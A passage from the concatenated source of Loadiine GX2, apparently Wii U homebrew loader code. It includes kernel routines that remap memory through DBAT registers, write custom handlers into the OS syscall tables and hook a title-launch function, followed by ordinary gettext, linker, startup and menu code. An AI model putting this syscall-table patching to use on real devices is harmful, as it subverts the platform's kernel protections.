DBAT value asm volatile("mfdbatu %0, 0" : "=r" (dbatu0)); asm volatile("mfdbatl %0, 0" : "=r" (dbatl0)); asm volatile("mfdbatu %0, 1" : "=r" (dbatu1)); asm volatile("mfdbatl %0, 1" : "=r" (dbatl1)); unsigned int target_dbatu0 = 0; unsigned int target_dbatl0 = 0; unsigned int target_dbatu1 = 0; unsigned int target_dbatl1 = 0; unsigned char *dst_p = (unsigned char*)addr; unsigned char *src_p = (unsigned char*)src; // we only need DBAT modification for addresses out of our own DBAT range // as our own DBAT is available everywhere for user and supervisor // since our own DBAT is on DBAT5 position we don't collide here if(addr < 0x00800000 || addr >= 0x01000000) { target_dbatu0 = (addr & 0x00F00000) | 0xC0000000 | 0x1F; target_dbatl0 = (addr & 0xFFF00000) | 0x32; asm volatile("mtdbatu 0, %0" : : "r" (target_dbatu0)); asm volatile("mtdbatl 0, %0" : : "r" (target_dbatl0)); dst_p = (unsigned char*)((addr & 0xFFFFFF) | 0xC0000000); } if(src < 0x00800000 || src >= 0x01000000) { target_dbatu1 = (src & 0x00F00000) | 0xB0000000 | 0x1F; target_dbatl1 = (src & 0xFFF00000) | 0x32; asm volatile("mtdbatu 1, %0" : : "r" (target_dbatu1)); asm volatile("mtdbatl 1, %0" : : "r" (target_dbatl1)); src_p = (unsigned char*)((src & 0xFFFFFF) | 0xB0000000); } asm volatile("eieio; isync"); unsigned int i; for(i = 0; i < len; i++) { // if we are on the edge to next chunk if((target_dbatu0 != 0) && (((unsigned int)dst_p & 0x00F00000) != (target_dbatu0 & 0x00F00000))) { target_dbatu0 = ((addr + i) & 0x00F00000) | 0xC0000000 | 0x1F; target_dbatl0 = ((addr + i) & 0xFFF00000) | 0x32; dst_p = (unsigned char*)(((addr + i) & 0xFFFFFF) | 0xC0000000); asm volatile("eieio; isync"); asm volatile("mtdbatu 0, %0" : : "r" (target_dbatu0)); asm volatile("mtdbatl 0, %0" : : "r" (target_dbatl0)); asm volatile("eieio; isync"); } if((target_dbatu1 != 0) && (((unsigned int)src_p & 0x00F00000) != (target_dbatu1 & 0x00F00000))) { target_dbatu1 = ((src + i) & 0x00F00000) | 0xB0000000 | 0x1F; target_dbatl1 = ((src + i) & 0xFFF00000) | 0x32; src_p = (unsigned char*)(((src + i) & 0xFFFFFF) | 0xB0000000); asm volatile("eieio; isync"); asm volatile("mtdbatu 1, %0" : : "r" (target_dbatu1)); asm volatile("mtdbatl 1, %0" : : "r" (target_dbatl1)); asm volatile("eieio; isync"); } *dst_p = *src_p; ++dst_p; ++src_p; } /* * Restore original DBAT value */ asm volatile("eieio; isync"); asm volatile("mtdbatu 0, %0" : : "r" (dbatu0)); asm volatile("mtdbatl 0, %0" : : "r" (dbatl0)); asm volatile("mtdbatu 1, %0" : : "r" (dbatu1)); asm volatile("mtdbatl 1, %0" : : "r" (dbatl1)); asm volatile("eieio; isync"); } static void KernelReadDBATs(bat_table_t * table) { u32 i = 0; asm volatile("eieio; isync"); asm volatile("mfspr %0, 536" : "=r" (table->bat[i].h)); asm volatile("mfspr %0, 537" : "=r" (table->bat[i].l)); i++; asm volatile("mfspr %0, 538" : "=r" (table->bat[i].h)); asm volatile("mfspr %0, 539" : "=r" (table->bat[i].l)); i++; asm volatile("mfspr %0, 540" : "=r" (table->bat[i].h)); asm volatile("mfspr %0, 541" : "=r" (table->bat[i].l)); i++; asm volatile("mfspr %0, 542" : "=r" (table->bat[i].h)); asm volatile("mfspr %0, 543" : "=r" (table->bat[i].l)); i++; asm volatile("mfspr %0, 568" : "=r" (table->bat[i].h)); asm volatile("mfspr %0, 569" : "=r" (table->bat[i].l)); i++; asm volatile("mfspr %0, 570" : "=r" (table->bat[i].h)); asm volatile("mfspr %0, 571" : "=r" (table->bat[i].l)); i++; asm volatile("mfspr %0, 572" : "=r" (table->bat[i].h)); asm volatile("mfspr %0, 573" : "=r" (table->bat[i].l)); i++; asm volatile("mfspr %0, 574" : "=r" (table->bat[i].h)); asm volatile("mfspr %0, 575" : "=r" (table->bat[i].l)); } static void KernelWriteDBATs(bat_table_t * table) { u32 i = 0; asm volatile("eieio; isync"); asm volatile("mtspr 536, %0" : : "r" (table->bat[i].h)); asm volatile("mtspr 537, %0" : : "r" (table->bat[i].l)); i++; asm volatile("mtspr 538, %0" : : "r" (table->bat[i].h)); asm volatile("mtspr 539, %0" : : "r" (table->bat[i].l)); i++; asm volatile("mtspr 540, %0" : : "r" (table->bat[i].h)); asm volatile("mtspr 541, %0" : : "r" (table->bat[i].l)); i++; asm volatile("mtspr 542, %0" : : "r" (table->bat[i].h)); asm volatile("mtspr 543, %0" : : "r" (table->bat[i].l)); i++; asm volatile("mtspr 568, %0" : : "r" (table->bat[i].h)); asm volatile("mtspr 569, %0" : : "r" (table->bat[i].l)); i++; asm volatile("mtspr 570, %0" : : "r" (table->bat[i].h)); asm volatile("mtspr 571, %0" : : "r" (table->bat[i].l)); i++; asm volatile("mtspr 572, %0" : : "r" (table->bat[i].h)); asm volatile("mtspr 573, %0" : : "r" (table->bat[i].l)); i++; asm volatile("mtspr 574, %0" : : "r" (table->bat[i].h)); asm volatile("mtspr 575, %0" : : "r" (table->bat[i].l)); asm volatile("eieio; isync"); } /* Read a 32-bit word with kernel permissions */ uint32_t __attribute__ ((noinline)) kern_read(const void *addr) { uint32_t result; asm volatile ( "li 3,1\n" "li 4,0\n" "li 5,0\n" "li 6,0\n" "li 7,0\n" "lis 8,1\n" "mr 9,%1\n" "li 0,0x3400\n" "mr %0,1\n" "sc\n" "nop\n" "mr 1,%0\n" "mr %0,3\n" : "=r"(result) : "b"(addr) : "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10", "11", "12" ); return result; } /* Write a 32-bit word with kernel permissions */ void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value) { asm volatile ( "li 3,1\n" "li 4,0\n" "mr 5,%1\n" "li 6,0\n" "li 7,0\n" "lis 8,1\n" "mr 9,%0\n" "mr %1,1\n" "li 0,0x3500\n" "sc\n" "nop\n" "mr 1,%1\n" : : "r"(addr), "r"(value) : "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10", "11", "12" ); } void KernelSetupSyscalls(void) { //! assign 1 so that this variable gets into the retained .data section static uint8_t ucSyscallsSetupRequired = 1; if(!ucSyscallsSetupRequired) return; ucSyscallsSetupRequired = 0; kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl1 + (0x36 * 4)), (unsigned int)KernelReadDBATs); kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl2 + (0x36 * 4)), (unsigned int)KernelReadDBATs); kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl3 + (0x36 * 4)), (unsigned int)KernelReadDBATs); kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl4 + (0x36 * 4)), (unsigned int)KernelReadDBATs); kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl5 + (0x36 * 4)), (unsigned int)KernelReadDBATs); kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl1 + (0x37 * 4)), (unsigned int)KernelWriteDBATs); kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl2 + (0x37 * 4)), (unsigned int)KernelWriteDBATs); kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl3 + (0x37 * 4)), (unsigned int)KernelWriteDBATs); kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl4 + (0x37 * 4)), (unsigned int)KernelWriteDBATs); kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl5 + (0x37 * 4)), (unsigned int)KernelWriteDBATs); kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl1 + (0x25 * 4)), (unsigned int)KernelCopyData); kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl2 + (0x25 * 4)), (unsigned int)KernelCopyData); kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl3 + (0x25 * 4)), (unsigned int)KernelCopyData); kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl4 + (0x25 * 4)), (unsigned int)KernelCopyData); kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl5 + (0x25 * 4)), (unsigned int)KernelCopyData); //! write our hook to the u32 addr_my_PrepareTitle_hook = ((u32)my_PrepareTitle_hook) | 0x48000003; DCFlushRange(&addr_my_PrepareTitle_hook, sizeof(addr_my_PrepareTitle_hook)); SC0x25_KernelCopyData((u32)&origPrepareTitleInstr, (u32)addr_PrepareTitle_hook, 4); SC0x25_KernelCopyData((u32)addr_PrepareTitle_hook, (u32)OSEffectiveToPhysical(&addr_my_PrepareTitle_hook), 4); } void KernelRestoreInstructions(void) { if(origPrepareTitleInstr != 0) SC0x25_KernelCopyData((u32)addr_PrepareTitle_hook, (u32)&origPrepareTitleInstr, 4); } ================================================ FILE: src/kernel/syscalls.h ================================================ #ifndef __SYSCALLS_H_ #define __SYSCALLS_H_ #ifdef __cplusplus extern "C" { #endif #include #include "common/kernel_defs.h" void KernelSetupSyscalls(void); void KernelRestoreInstructions(void); void SC0x25_KernelCopyData(unsigned int addr, unsigned int src, unsigned int len); void SC0x36_KernelReadDBATs(bat_table_t * table); void SC0x37_KernelWriteDBATs(bat_table_t * table); uint32_t __attribute__ ((noinline)) kern_read(const void *addr); void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value); #ifdef __cplusplus } #endif #endif // __KERNEL_FUNCTIONS_H_ ================================================ FILE: src/kernel/syscalls_asm.S ================================================ # Syscalls for kernel that we use .globl SC0x36_KernelReadDBATs SC0x36_KernelReadDBATs: li r0, 0x3600 sc blr .globl SC0x37_KernelWriteDBATs SC0x37_KernelWriteDBATs: li r0, 0x3700 sc blr .globl SC0x25_KernelCopyData SC0x25_KernelCopyData: li r0, 0x2500 sc blr ================================================ FILE: src/language/gettext.cpp ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #include #include #include #include #include #include #include "gettext.h" #include "fs/CFile.hpp" #include "utils/StringTools.h" typedef struct _MSG { u32 id; char* msgstr; struct _MSG *next; } MSG; static MSG *baseMSG = 0; #define HASHWORDBITS 32 /* Defines the so called `hashpjw' function by P.J. Weinberger [see Aho/Sethi/Ullman, COMPILERS: Principles, Techniques and Tools, 1986, 1987 Bell Telephone Laboratories, Inc.] */ static inline u32 hash_string(const char *str_param) { u32 hval, g; const char *str = str_param; /* Compute the hash value for the given string. */ hval = 0; while (*str != '\0') { hval <<= 4; hval += (u8) *str++; g = hval & ((u32) 0xf << (HASHWORDBITS - 4)); if (g != 0) { hval ^= g >> (HASHWORDBITS - 8); hval ^= g; } } return hval; } /* Expand some escape sequences found in the argument string. */ static char * expand_escape(const char *str) { char *retval, *rp; const char *cp = str; retval = (char *) malloc(strlen(str) + 1); if (retval == NULL) return NULL; rp = retval; while (cp[0] != '\0' && cp[0] != '\\') *rp++ = *cp++; if (cp[0] == '\0') goto terminate; do { /* Here cp[0] == '\\'. */ switch (*++cp) { case '\"': /* " */ *rp++ = '\"'; ++cp; break; case 'a': /* alert */ *rp++ = '\a'; ++cp; break; case 'b': /* backspace */ *rp++ = '\b'; ++cp; break; case 'f': /* form feed */ *rp++ = '\f'; ++cp; break; case 'n': /* new line */ *rp++ = '\n'; ++cp; break; case 'r': /* carriage return */ *rp++ = '\r'; ++cp; break; case 't': /* horizontal tab */ *rp++ = '\t'; ++cp; break; case 'v': /* vertical tab */ *rp++ = '\v'; ++cp; break; case '\\': *rp = '\\'; ++cp; break; case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': { int ch = *cp++ - '0'; if (*cp >= '0' && *cp <= '7') { ch *= 8; ch += *cp++ - '0'; if (*cp >= '0' && *cp <= '7') { ch *= 8; ch += *cp++ - '0'; } } *rp = ch; } break; default: *rp = '\\'; break; } while (cp[0] != '\0' && cp[0] != '\\') *rp++ = *cp++; } while (cp[0] != '\0'); /* Terminate string. */ terminate: *rp = '\0'; return retval; } static MSG *findMSG(u32 id) { MSG *msg; for (msg = baseMSG; msg; msg = msg->next) { if (msg->id == id) return msg; } return NULL; } static MSG *setMSG(const char *msgid, const char *msgstr) { u32 id = hash_string(msgid); MSG *msg = findMSG(id); if (!msg) { msg = (MSG *) malloc(sizeof(MSG)); msg->id = id; msg->msgstr = NULL; msg->next = baseMSG; baseMSG = msg; } if (msg) { if (msgstr) { if (msg->msgstr) free(msg->msgstr); //msg->msgstr = strdup(msgstr); msg->msgstr = expand_escape(msgstr); } return msg; } return NULL; } extern "C" void gettextCleanUp(void) { while (baseMSG) { MSG *nextMsg = baseMSG->next; free(baseMSG->msgstr); free(baseMSG); baseMSG = nextMsg; } } extern "C" bool gettextLoadLanguage(const char* langFile) { char *lastID = NULL; gettextCleanUp(); CFile file(langFile, CFile::ReadOnly); if (!file.isOpen()) return false; std::string strBuffer; strBuffer.resize(file.size()); file.read((u8 *) &strBuffer[0], strBuffer.size()); file.close(); //! remove all windows crap signs size_t position; while(1) { position = strBuffer.find('\r'); if(position == std::string::npos) break; strBuffer.erase(position, 1); } std::vector lines = stringSplit(strBuffer, "\n"); if(lines.empty()) return false; for(unsigned int i = 0; i < lines.size(); i++) { std::string & line = lines[i]; // lines starting with # are comments if (line[0] == '#') continue; else if (strncmp(line.c_str(), "msgid \"", 7) == 0) { char *msgid, *end; if (lastID) { free(lastID); lastID = NULL; } msgid = &line[7]; end = strrchr(msgid, '"'); if (end && end - msgid > 1) { *end = 0; lastID = strdup(msgid); } } else if (strncmp(line.c_str(), "msgstr \"", 8) == 0) { char *msgstr, *end; if (lastID == NULL) continue; msgstr = &line[8]; end = strrchr(msgstr, '"'); if (end && end - msgstr > 1) { *end = 0; setMSG(lastID, msgstr); } free(lastID); lastID = NULL; } } return true; } extern "C" const char *gettext(const char *msgid) { if(!msgid) return NULL; MSG *msg = findMSG(hash_string(msgid)); if (msg && msg->msgstr) return msg->msgstr; return msgid; } ================================================ FILE: src/language/gettext.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef _GETTEXT_H_ #define _GETTEXT_H_ #ifdef __cplusplus extern "C" { #endif bool gettextLoadLanguage(const char* langFile); void gettextCleanUp(void); /* * input msg = a text in ASCII * output = the translated msg in utf-8 */ const char *gettext(const char *msg); #define tr(s) gettext(s) #define trNOOP(s) s #ifdef __cplusplus } #endif #endif /* _GETTEXT_H_ */ ================================================ FILE: src/link.ld ================================================ OUTPUT(loadiine.elf); /* Tell linker where our application entry is so the garbage collect can work correct */ ENTRY(__entry_menu); SECTIONS { . = 0x00802000; .text : { *(.kernel_code*); *(.text*); /* Tell linker to not garbage collect this section as it is not referenced anywhere */ KEEP(*(.kernel_code*)); } .rodata : { *(.rodata*); } .data : { *(.data*); __sdata_start = .; *(.sdata*); __sdata_end = .; __sdata2_start = .; *(.sdata2*); __sdata2_end = .; } .bss : { __bss_start = .; *(.bss*); *(.sbss*); *(COMMON); __bss_end = .; } __CODE_END = .; /DISCARD/ : { *(*); } } /******************************************************** FS ********************************************************/ /* coreinit.rpl difference in addresses 0xFE3C00 */ ================================================ FILE: src/main.cpp ================================================ //#include #include "Application.h" #include "dynamic_libs/os_functions.h" #include "dynamic_libs/fs_functions.h" #include "dynamic_libs/gx2_functions.h" #include "dynamic_libs/sys_functions.h" #include "dynamic_libs/vpad_functions.h" #include "dynamic_libs/padscore_functions.h" #include "dynamic_libs/socket_functions.h" #include "dynamic_libs/curl_functions.h" #include "dynamic_libs/ax_functions.h" #include "patcher/fs_patcher.h" #include "patcher/fs_sd_patcher.h" #include "patcher/rplrpx_patcher.h" #include "patcher/extra_log_patcher.h" #include "patcher/hid_controller_function_patcher.h" #include "patcher/aoc_patcher.h" #include "controller_patcher/ControllerPatcher.hpp" #include "fs/fs_utils.h" #include "fs/sd_fat_devoptab.h" #include "kernel/kernel_functions.h" #include "settings/CSettings.h" #include "system/exception_handler.h" #include "system/memory.h" #include "utils/strings.h" #include "utils/logger.h" #include "utils/utils.h" #include "utils/xml.h" #include "common/common.h" #include "main.h" /* Entry point */ extern "C" int Menu_Main(void) { //!******************************************************************* //! Initialize function pointers * //!******************************************************************* //! do OS (for acquire) and sockets first so we got logging InitOSFunctionPointers(); InitSocketFunctionPointers(); log_init(); DEBUG_FUNCTION_LINE("Starting Loadiine GX2 " LOADIINE_VERSION "\n"); InitFSFunctionPointers(); InitGX2FunctionPointers(); InitSysFunctionPointers(); InitVPadFunctionPointers(); InitPadScoreFunctionPointers(); InitAXFunctionPointers(); InitCurlFunctionPointers(); InitAocFunctionPointers(); InitACPFunctionPointers(); DEBUG_FUNCTION_LINE("Function exports loaded\n"); //!******************************************************************* //! Initialize our kernel variables * //!******************************************************************* DEBUG_FUNCTION_LINE("Setup kernel variables\n"); SetupKernelCallback(); //!******************************************************************* //! Initialize heap memory * //!******************************************************************* DEBUG_FUNCTION_LINE("Initialize memory management\n"); memoryInitialize(); //!******************************************************************* //! Initialize FS * //!******************************************************************* DEBUG_FUNCTION_LINE("Mount SD partition\n"); mount_sd_fat("sd"); //!******************************************************************* //! Patch Functions * //!******************************************************************* DEBUG_FUNCTION_LINE("Patch FS and loader functions\n"); ApplyPatches(); PatchSDK(); //!******************************************************************* //! Setup exception handler * //!******************************************************************* DEBUG_FUNCTION_LINE("Setup exception handler\n"); setup_os_exceptions(); //!******************************************************************* //! Enter main application * //!******************************************************************* DEBUG_FUNCTION_LINE("Start main application\n"); Application::instance()->exec(); DEBUG_FUNCTION_LINE("Main application stopped\n"); Application::destroyInstance(); DEBUG_FUNCTION_LINE("Unmount SD\n"); unmount_sd_fat("sd"); DEBUG_FUNCTION_LINE("Release memory\n"); memoryRelease(); DEBUG_FUNCTION_LINE("Loadiine peace out...\n"); //log_deinit(); return 0; } void ApplyPatches(){ DEBUG_FUNCTION_LINE("Patching FS functions\n"); PatchInvidualMethodHooks(method_hooks_fs, method_hooks_size_fs, method_calls_fs); DEBUG_FUNCTION_LINE("Patching functions for AOC support\n"); PatchInvidualMethodHooks(method_hooks_aoc, method_hooks_size_aoc, method_calls_aoc); DEBUG_FUNCTION_LINE("Patching more FS functions (SD)\n"); PatchInvidualMethodHooks(method_hooks_fs_sd, method_hooks_size_fs_sd, method_calls_fs_sd); DEBUG_FUNCTION_LINE("Patching functions for RPX/RPL loading\n"); PatchInvidualMethodHooks(method_hooks_rplrpx, method_hooks_size_rplrpx, method_calls_rplrpx); DEBUG_FUNCTION_LINE("Patching extra log functions\n"); PatchInvidualMethodHooks(method_hooks_extra_log, method_hooks_size_extra_log, method_calls_extra_log); DEBUG_FUNCTION_LINE("Patching controller_patcher (HID to VPAD)\n"); PatchInvidualMethodHooks(method_hooks_hid_controller, method_hooks_size_hid_controller, method_calls_hid_controller); } void RestoreAllInstructions(){ DEBUG_FUNCTION_LINE("Restoring FS functions\n"); RestoreInvidualInstructions(method_hooks_fs, method_hooks_size_fs); DEBUG_FUNCTION_LINE("Restoring functions for AOC support\n"); RestoreInvidualInstructions(method_hooks_aoc, method_hooks_size_aoc); DEBUG_FUNCTION_LINE("Restoring more FS functions (SD)\n"); RestoreInvidualInstructions(method_hooks_fs_sd, method_hooks_size_fs_sd); DEBUG_FUNCTION_LINE("Restoring functions for RPX/RPL loading\n"); RestoreInvidualInstructions(method_hooks_rplrpx, method_hooks_size_rplrpx); DEBUG_FUNCTION_LINE("Restoring extra log functions\n"); RestoreInvidualInstructions(method_hooks_extra_log, method_hooks_size_extra_log); DEBUG_FUNCTION_LINE("Restoring controller_patcher (HID to VPAD)\n"); RestoreInvidualInstructions(method_hooks_hid_controller, method_hooks_size_hid_controller); } ================================================ FILE: src/main.h ================================================ #ifndef _MAIN_H_ #define _MAIN_H_ #include "common/types.h" #include "dynamic_libs/os_functions.h" #include "dynamic_libs/fs_defs.h" /* General defines */ #define MAX_GAME_COUNT 255 #define MAX_GAME_ON_PAGE 11 /* Main */ #ifdef __cplusplus extern "C" { #endif //! C wrapper for out C++ functions int Menu_Main(void); void ApplyPatches(void); void RestoreAllInstructions(void); #ifdef __cplusplus } #endif #endif ================================================ FILE: src/menu/ButtonChoiceMenu.cpp ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #include "ButtonChoiceMenu.h" #include "utils/StringTools.h" #include "KeyPadMenu.h" ButtonChoiceMenu::ButtonChoiceMenu(int w, int h, const std::string & title, const std::vector & buttonNames, int selected) : GuiFrame(w, h) , buttonClickSound(Resources::GetSound("settings_click_2.mp3")) , backImageData(Resources::GetImageData("backButton.png")) , backImage(backImageData) , backButton(backImage.getWidth(), backImage.getHeight()) , okImageData(Resources::GetImageData("emptyRoundButton.png")) , okImage(okImageData) , okSelectedImageData(Resources::GetImageData("emptyRoundButtonSelected.png")) , okSelectedImage(okSelectedImageData) , okButton(okImage.getWidth(), okImage.getHeight()) , okText("O.K.", 46, glm::vec4(0.1f, 0.1f, 0.1f, 1.0f)) , titleImageData(Resources::GetImageData("settingsTitle.png")) , titleImage(titleImageData) , touchTrigger(GuiTrigger::CHANNEL_1, GuiTrigger::VPAD_TOUCH) , wpadTouchTrigger(GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5, GuiTrigger::BUTTON_A) , buttonATrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_A, true) , buttonBTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_B, true) , buttonUpTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_UP | GuiTrigger::STICK_L_UP, true) , buttonDownTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_DOWN | GuiTrigger::STICK_L_DOWN, true) , buttonLeftTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_LEFT | GuiTrigger::STICK_L_LEFT, true) , buttonRightTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_RIGHT | GuiTrigger::STICK_L_RIGHT, true) , buttonImageData(Resources::GetImageData("choiceUncheckedSquare.png")) , buttonCheckedImageData(Resources::GetImageData("choiceCheckedSquare.png")) , buttonHighlightedImageData(Resources::GetImageData("choiceHighlightedSquare.png")) , DPADButtons(w,h) { selectedButton = selected; selectedButtonDPAD = -1; backButton.setImage(&backImage); backButton.setAlignment(ALIGN_BOTTOM | ALIGN_LEFT); backButton.clicked.connect(this, &ButtonChoiceMenu::OnBackButtonClick); backButton.setTrigger(&touchTrigger); backButton.setTrigger(&wpadTouchTrigger); backButton.setSoundClick(buttonClickSound); backButton.setEffectGrow(); append(&backButton); okText.setPosition(10, -10); okButton.setLabel(&okText); okButton.setImage(&okImage); okButton.setIconOver(&okSelectedImage); okButton.setAlignment(ALIGN_BOTTOM | ALIGN_RIGHT); okButton.clicked.connect(this, &ButtonChoiceMenu::OnOkButtonClick); okButton.setTrigger(&touchTrigger); okButton.setTrigger(&wpadTouchTrigger); okButton.setSoundClick(buttonClickSound); okButton.setEffectGrow(); append(&okButton); titleText.setColor(glm::vec4(1.0f, 1.0f, 1.0f, 1.0f)); titleText.setFontSize(46); titleText.setPosition(0, 10); titleText.setBlurGlowColor(5.0f, glm::vec4(0.0, 0.0, 0.0f, 1.0f)); titleText.setText(title.c_str()); append(&titleImage); append(&titleText); titleText.setParent(&titleImage); titleImage.setAlignment(ALIGN_MIDDLE | ALIGN_TOP); f32 posX; f32 posY; f32 imgScale = 1.0f; buttonCount = buttonNames.size(); choiceButtons.resize(buttonCount); for(u32 i = 0; i < buttonNames.size(); i++) { choiceButtons[i].choiceButtonImg = new GuiImage(buttonImageData); choiceButtons[i].choiceButtonCheckedImg = new GuiImage(buttonCheckedImageData); choiceButtons[i].choiceButtonHighlightedImg = new GuiImage(buttonHighlightedImageData); choiceButtons[i].choiceButton = new GuiButton(choiceButtons[i].choiceButtonImg->getWidth() * imgScale, choiceButtons[i].choiceButtonImg->getHeight() * imgScale); choiceButtons[i].choiceButtonText = new GuiText(buttonNames[i].c_str(), 42, glm::vec4(0.9f, 0.9f, 0.9f, 1.0f)); choiceButtons[i].choiceButtonText->setMaxWidth(choiceButtons[i].choiceButtonImg->getWidth() * imgScale - 20.0f, GuiText::WRAP); choiceButtons[i].choiceButtonText->setPosition(0, 10); choiceButtons[i].choiceButtonImg->setScale(imgScale); choiceButtons[i].choiceButtonCheckedImg->setScale(imgScale); choiceButtons[i].choiceButton->setIconOver(choiceButtons[i].choiceButtonHighlightedImg); choiceButtons[i].choiceButton->setLabel(choiceButtons[i].choiceButtonText); choiceButtons[i].choiceButton->setSoundClick(buttonClickSound); if(selectedButton == (int)i) choiceButtons[i].choiceButton->setImage(choiceButtons[i].choiceButtonCheckedImg); else choiceButtons[i].choiceButton->setImage(choiceButtons[i].choiceButtonImg); if(!(i & 0x01)) { //! put last one in the middle if it is alone if(i == (buttonNames.size() - 1)) posX = 0; else posX = -(buttonImageData->getWidth() * imgScale * 0.5f + 50); } else { posX = (buttonImageData->getWidth() * imgScale * 0.5f + 50); } if(buttonNames.size() < 3) { posY = 0.0f; } else if(!(i & 0x02)) { posY = (buttonImageData->getHeight() * imgScale * 0.5f + 20.0f); } else { posY = -(buttonImageData->getHeight() * imgScale * 0.5f + 20.0f); } choiceButtons[i].choiceButton->setPosition(posX, -50.0f + posY); choiceButtons[i].choiceButton->setEffectGrow(); choiceButtons[i].choiceButton->setTrigger(&touchTrigger); choiceButtons[i].choiceButton->setTrigger(&wpadTouchTrigger); choiceButtons[i].choiceButton->clicked.connect(this, &ButtonChoiceMenu::OnChoiceButtonClick); append(choiceButtons[i].choiceButton); } DPADButtons.setTrigger(&buttonATrigger); DPADButtons.setTrigger(&buttonBTrigger); DPADButtons.setTrigger(&buttonUpTrigger); DPADButtons.setTrigger(&buttonDownTrigger); DPADButtons.setTrigger(&buttonLeftTrigger); DPADButtons.setTrigger(&buttonRightTrigger); DPADButtons.clicked.connect(this, &ButtonChoiceMenu::OnDPADClick); append(&DPADButtons); } ButtonChoiceMenu::~ButtonChoiceMenu() { for(u32 i = 0; i < choiceButtons.size(); ++i) { delete choiceButtons[i].choiceButtonImg; delete choiceButtons[i].choiceButtonCheckedImg; delete choiceButtons[i].choiceButtonHighlightedImg; delete choiceButtons[i].choiceButton; delete choiceButtons[i].choiceButtonText; } Resources::RemoveImageData(backImageData); Resources::RemoveImageData(okImageData); Resources::RemoveImageData(okSelectedImageData); Resources::RemoveImageData(titleImageData); Resources::RemoveImageData(buttonImageData); Resources::RemoveImageData(buttonCheckedImageData); Resources::RemoveSound(buttonClickSound); } void ButtonChoiceMenu::UpdateChoiceButtons(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { for(int i = 0; i < buttonCount; i++) { if(i == selectedButtonDPAD){ choiceButtons[i].choiceButton->setState(STATE_SELECTED); }else{ choiceButtons[i].choiceButton->clearState(STATE_SELECTED); } if(i == selectedButton){ choiceButtons[i].choiceButton->setImage(choiceButtons[i].choiceButtonCheckedImg); }else{ choiceButtons[i].choiceButton->setImage(choiceButtons[i].choiceButtonImg); } } if(selectedButtonDPAD == buttonCount){ // OK okButton.setState(STATE_SELECTED); }else{ okButton.clearState(STATE_SELECTED); } } void ButtonChoiceMenu::OnChoiceButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { for(u32 i = 0; i < choiceButtons.size(); i++) { if(choiceButtons[i].choiceButton == button) { selectedButton = i; selectedButtonDPAD = i; UpdateChoiceButtons(button,controller,trigger); } } } void ButtonChoiceMenu::OnDPADClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { if(trigger == &buttonATrigger) { //! do not auto launch when wiimote is pointing to screen and presses A if((controller->chan & (GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5)) && controller->data.validPointer) { return; } if(selectedButtonDPAD >= 0 && selectedButtonDPAD <= buttonCount-1) { selectedButton = selectedButtonDPAD; } else if(selectedButtonDPAD == buttonCount || selectedButtonDPAD == -2) { OnOkButtonClick(button,controller,trigger); } } else if(trigger == &buttonBTrigger) { OnBackButtonClick(button,controller,trigger); } else if(trigger == &buttonUpTrigger) { if(buttonCount > 2){ selectedButtonDPAD -= 2; if(selectedButtonDPAD < 0){ selectedButtonDPAD = 0; } } } else if(trigger == &buttonDownTrigger){ if(buttonCount > 2 || selectedButtonDPAD != buttonCount){ selectedButtonDPAD += 2; if(selectedButtonDPAD >= buttonCount){ selectedButtonDPAD = buttonCount-1; } } } else if(trigger == &buttonRightTrigger){ selectedButtonDPAD++; if(selectedButtonDPAD 